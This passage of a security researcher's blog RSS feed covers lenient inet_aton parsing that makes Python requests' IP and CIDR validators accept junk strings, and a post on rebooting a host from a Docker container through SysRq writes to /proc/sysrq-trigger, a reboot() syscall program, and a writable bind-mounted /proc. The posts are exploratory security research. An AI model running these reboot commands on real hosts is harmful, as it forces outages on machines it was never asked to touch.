&lt;span class=&quot;o&quot;&gt;----&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;utils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address_in_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1wtf&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1/24&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;python3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packages&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;utils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;py&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address_in_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;552&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;553&lt;/span&gt;     &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
--&amp;gt; 554     ipaddr = struct.unpack(&apos;=L&apos;, socket.inet_aton(ip))[0]
    555     netaddr, bits = net.split(&apos;/&apos;)
    556     netmask = struct.unpack(&apos;=L&apos;, socket.inet_aton(dotted_netmask(int(bits))))[0]

OSError: illegal IP address string passed to inet_aton

In [4]: requests.utils.address_in_network(&apos;1.1.1.1 wtf&apos;, &apos;1.1.1.1/24&apos;)
Out[4]: True

In [5]: requests.utils.is_ipv4_address(&apos;1.1.1.1 disconnect3d was here...&apos;)
Out[5]: True

In [6]: requests.utils.is_valid_cidr(&apos;1.1.1.1 obviously not but yes/24&apos;)
Out[6]: True
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I reported this issue to requests in &lt;a href=&quot;https://github.com/psf/requests/issues/5131&quot;&gt;requests#5131&lt;/a&gt; which is still open, more than 1.5 years from reporting it.&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;

&lt;p&gt;There are probably more projects that rely on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton&lt;/code&gt; which may introduce security bugs.&lt;/p&gt;

&lt;p&gt;I guess that cases like this may be another reason why companies like &lt;a href=&quot;https://lists.llvm.org/pipermail/llvm-dev/2019-June/133269.html&quot;&gt;Google are thinking about implementing their own libc&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We should never trust libs without checking the implementation and whether they are tested properly, especially if we want to use them to validate untrusted input.
Such testing could be done via formally verifying a function. As an example this could be done here by using Trail of Bits &lt;a href=&quot;https://github.com/trailofbits/deepstate&quot;&gt;DeepState&lt;/a&gt; project and adding tests to check if an input containing invalid characters can result in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton&lt;/code&gt; returning 1.&lt;/p&gt;

&lt;p&gt;Also, thanks to &lt;a href=&quot;https://haxx.in/&quot;&gt;@bl4sty&lt;/a&gt;, who showed this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton&lt;/code&gt; weird case at his talk at &lt;a href=&quot;http://warcon.pl/&quot;&gt;WarCon 2019&lt;/a&gt; conference and to &lt;a href=&quot;https://twitter.com/reaperhulk&quot;&gt;Paul Kehrer&lt;/a&gt;, who helped me to report this to Python Security Response Team (PSRT).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;NOTE: This post was initially written in 2019, but I finally finished it and hit publish in 2021.&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 16 Feb 2021 02:00:00 +0100</pubDate>
        <link>https://disconnect3d.pl//2021/02/16/terrible-inet-aton/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2021/02/16/terrible-inet-aton/</guid>
        
        <category>c,</category>
        
        <category>security,</category>
        
        <category>python</category>
        
        
      </item>
    
      <item>
        <title>Checking if a mutex is locked in Go</title>
        <description>&lt;p&gt;I have written a blog post about checking if a mutex is locked in Go. It can be found at &lt;a href=&quot;https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/&quot;&gt;https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Tue, 09 Jun 2020 07:13:37 +0200</pubDate>
        <link>https://disconnect3d.pl//2020/06/09/checking-if-mutex-is-locked-in-Go/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2020/06/09/checking-if-mutex-is-locked-in-Go/</guid>
        
        <category>go,</category>
        
        <category>programming</category>
        
        
      </item>
    
      <item>
        <title>Back to the blog</title>
        <description>&lt;p&gt;I haven’t written any post in here for some time and I want to fix that. For now, it is probably worth mentioning that in the meantime I gave many talks, reviewed some articles in &lt;a href=&quot;https://pagedout.institute/&quot;&gt;Paged Out!&lt;/a&gt; and wrote two articles:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A blog post on &lt;a href=&quot;https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/&quot;&gt;Trail of Bits blog: “Understanding Docker container escapes”&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;An article &lt;a href=&quot;https://pagedout.institute/download/PagedOut_001_beta1.pdf&quot;&gt;“&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;from cpython_exploit_ellipsis import *&lt;/code&gt;” to Paged Out! #01&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stay tuned for more content :P.&lt;/p&gt;
</description>
        <pubDate>Thu, 09 Apr 2020 10:13:37 +0200</pubDate>
        <link>https://disconnect3d.pl//2020/04/09/back-to-the-blog/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2020/04/09/back-to-the-blog/</guid>
        
        <category>random</category>
        
        
      </item>
    
      <item>
        <title>Reboot your pc from a docker container</title>
        <description>&lt;p&gt;I came back from a &lt;a href=&quot;https://www.meetup.com/Poznan-Security-Meetup/events/255244492/&quot;&gt;PUT Security Day&lt;/a&gt; where I gave a talk about Docker security. One of the questions I asked myself when preparing the talk is whether one can reboot their PC (aka host machine) from a docker container.&lt;/p&gt;

&lt;h3 id=&quot;rebooting-the-usual-way-reboot-program&quot;&gt;Rebooting the usual way: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; program&lt;/h3&gt;

&lt;p&gt;Normally, one would use a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; program to do this task but this program isn’t present in many of the docker images.
Let’s give it a try with the official &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ubuntu&lt;/code&gt; image:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm -it ubuntu reboot
docker: Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused &quot;exec: \&quot;reboot\&quot;: executable file not found in $PATH&quot;: unknown.
ERRO[0001] error waiting for container: context canceled
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;as we can see, the program isn’t in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt;. Let’s see another ways of rebooting the container.&lt;/p&gt;

&lt;h3 id=&quot;reeboting-with-sysrq&quot;&gt;Reeboting with SysRq&lt;/h3&gt;

&lt;p&gt;It is possible to reboot Linux without any external dependencies by using &lt;a href=&quot;https://en.wikipedia.org/wiki/Magic_SysRq_key&quot;&gt;SysRq&lt;/a&gt;. This can be achieved by first writing to the sysrq and then writing to sysrq-trigger to trigger the action:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;1 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /proc/sys/kernel/sysrq
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;b &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /proc/sysrq-trigger
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But if we execute it in a docker container, it won’t work, because the sysrq is a read-only file system in there:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm -it ubuntu bash
root@c640b157389b:/# echo 1 &amp;gt; /proc/sys/kernel/sysrq
bash: /proc/sys/kernel/sysrq: Read-only file system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The thing is, even when we are the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; user in a docker container (note: and this is the same root as on the host machine) we don’t get full capabilities.
Those can be given by rerunning the container with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--privileged&lt;/code&gt; flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm -it --privileged ubuntu bash
root@e293a1c415a7:/# echo 1 &amp;gt; /proc/sys/kernel/sysrq
root@e293a1c415a7:/# echo b &amp;gt; /proc/sysrq-triggerERRO[0005] error waiting for container: EOF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running this on my machine actually didn’t reboot it but that’s because I use Docker for Mac and so all the containers are spawned in a virtual machine used for that purpose.
But the action killed the docker daemon and resulted with such error:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Supervisor has failed, shutting down: Supervisor caught an error: one of the children died: com.docker.driver.amd64-linux (pid: 37738)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;rebooting-with-reboot-syscall&quot;&gt;Rebooting with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; syscall&lt;/h3&gt;

&lt;p&gt;Another way to execute a reboot is to use a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; syscall. This can be achieved with a short C program:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#define _GNU_SOURCE
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/reboot.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reboot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RB_AUTOBOOT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try to compile and run it in a docker container.
For a better understanding on what is going on, we will add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYS_PTRACE&lt;/code&gt; linux capability to our docker container,
so it will be possible to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt;, a linux syscall tracer program, that uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptrace&lt;/code&gt; syscall under the hood.
We will also use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc&lt;/code&gt; docker image with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt; installed on it from apt.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm -it --cap-add=SYS_PTRACE gcc bash
root@dfe469dd8034:/# apt update 2&amp;gt;/dev/null 1&amp;gt;&amp;amp;2 &amp;amp;&amp;amp; apt install -y strace 2&amp;gt;/dev/null 1&amp;gt;&amp;amp;2
root@dfe469dd8034:/# printf &quot;#define _GNU_SOURCE\n#include &amp;lt;unistd.h&amp;gt;\n#include &amp;lt;sys/reboot.h&amp;gt;\nint main(){reboot(RB_AUTOBOOT);}&quot; &amp;gt; a.c &amp;amp;&amp;amp; gcc a.c
root@dfe469dd8034:/# strace -e reboot ./a.out
reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) = -1 EPERM (Operation not permitted)
+++ exited with 0 +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It didn’t work as we didn’t add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYS_BOOT&lt;/code&gt; capability (that makes it possible to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kexec_load&lt;/code&gt; syscalls). If we add it, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; will kinda work:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dc@dc:~$ docker run --rm --cap-add=SYS_PTRACE --cap-add=SYS_BOOT -it gcc bash
root@e5c15796ae6b:/# apt update 2&amp;gt;/dev/null 1&amp;gt;&amp;amp;2 &amp;amp;&amp;amp; apt install -y strace 2&amp;gt;/dev/null 1&amp;gt;&amp;amp;2
root@e5c15796ae6b:/# printf &quot;#define _GNU_SOURCE\n#include &amp;lt;unistd.h&amp;gt;\n#include &amp;lt;sys/reboot.h&amp;gt;\nint main(){reboot(RB_AUTOBOOT);}&quot; &amp;gt; a.c &amp;amp;&amp;amp; gcc a.c
root@e5c15796ae6b:/# strace -e reboot ./a.out
reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTARTdc@dc:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It actually killed the docker container but didn’t reboot machine the docker is run on (in this case I launched it on a vps).
The reason for that can be found in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man 2 reboot&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   Behavior inside PID namespaces
       Since  Linux  3.4,  if  reboot()  is  called from a PID namespace other than the initial PID namespace with one of the cmd values listed below, it performs a &quot;reboot&quot; of that namespace: the
       &quot;init&quot; process of the PID namespace is immediately terminated, with the effects described in pid_namespaces(7).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;so the reboot worked, but for the PID namespace the container was in.
A short explanation for those who are not familiar with linux namespaces: this is one of linux kernel features utilized by docker which makes it possible to create isolated groups of given resources (e.g. PIDs, users, mounts and others).
See &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man namespaces&lt;/code&gt; for more info.&lt;/p&gt;

&lt;h3 id=&quot;can-you-use-sysrq-method-without---privileged-flag&quot;&gt;Can you use SysRq method without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--privileged&lt;/code&gt; flag?&lt;/h3&gt;

&lt;p&gt;When I was preparing my talk I wondered if I can launch the SysRq example without the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--privileged&lt;/code&gt; flag.
At first I thought it may be because of lacking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYS_BOOT&lt;/code&gt; capability or maybe something with the default seccomp profile the docker uses (&lt;a href=&quot;https://docs.docker.com/engine/security/seccomp/&quot;&gt;source&lt;/a&gt;; as long as your kernel supports seccomp), so I adjusted the flags, but it didn’t help:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm --cap-add=SYS_BOOT --security-opt seccomp=unconfined -it gcc bash
root@b6342cab4756:/# echo 1 &amp;gt; /proc/sys/kernel/sysrq
bash: /proc/sys/kernel/sysrq: Read-only file system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I thought that maybe some other capability is needed, so I tried adding all of them:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm --cap-add=ALL --security-opt seccomp=unconfined -it gcc bash
root@c4d8b01be2d1:/# echo 1 &amp;gt; /proc/sys/kernel/sysrq
bash: /proc/sys/kernel/sysrq: Read-only file system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;but all I got is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Read-only file system&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It turns out this can be hacked by mounting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt; virtual filesystem to be writable:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm -v /proc:/writable_proc -it gcc bash
root@8c1d0f5ed52e:/# echo 1 &amp;gt; /writable_proc/sys/kernel/sysrq
root@8c1d0f5ed52e:/# echo b &amp;gt; /writable_proc/sysrq-trigger
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;…and now it rebooted the machine.&lt;/p&gt;

&lt;p&gt;It seems there is no capability to make it possible to write to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt;.
&lt;a href=&quot;https://unix.stackexchange.com/a/209361&quot;&gt;This stackoverflow answer&lt;/a&gt; also states that there are no ACLs for that.&lt;/p&gt;

&lt;h3 id=&quot;the-end&quot;&gt;The end&lt;/h3&gt;

&lt;p&gt;And that’s all of this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reboot&lt;/code&gt; topic here.&lt;/p&gt;

&lt;p&gt;In the end, it’s good that it is not possible to reboot the host machine with the default settings.
It is possible to do so by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--privileged&lt;/code&gt; or by mounting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt; virtual filesystem to be writable.
I guess not very much people do that and I hope that if they do, they are aware of the consequences.&lt;/p&gt;

&lt;p&gt;EDIT: &lt;strong&gt;Nonetheless, while not necessarily a fault of docker, this is a bad design that it is possible to reboot your host machine while disallowing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAP_SYS_BOOT&lt;/code&gt; (or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYS_BOOT&lt;/code&gt; in docker nomenclature) capability.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you ask what was the purpose - just playing with docker and understanding how the things are limited etc.&lt;/p&gt;

&lt;p&gt;Also special thanks to &lt;a href=&quot;https://oshogbo.vexillium.org/&quot;&gt;Oshogbo&lt;/a&gt; for some ideas and discussion about this topic and to &lt;a href=&quot;https://foxtrotlabs.cc/&quot;&gt;foxtrot_charlie&lt;/a&gt; and all the PUT Security Day team for inviting me to give a talk there o/.&lt;/p&gt;

</description>
        <pubDate>Mon, 12 Nov 2018 10:00:30 +0100</pubDate>
        <link>https://disconnect3d.pl//2018/11/12/reboot-your-pc-from-a-docker-container/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2018/11/12/reboot-your-pc-from-a-docker-container/</guid>
        
        <category>security,</category>
        
        <category>docker</category>
        
        
      </item>
    
  </channel>
</rss>
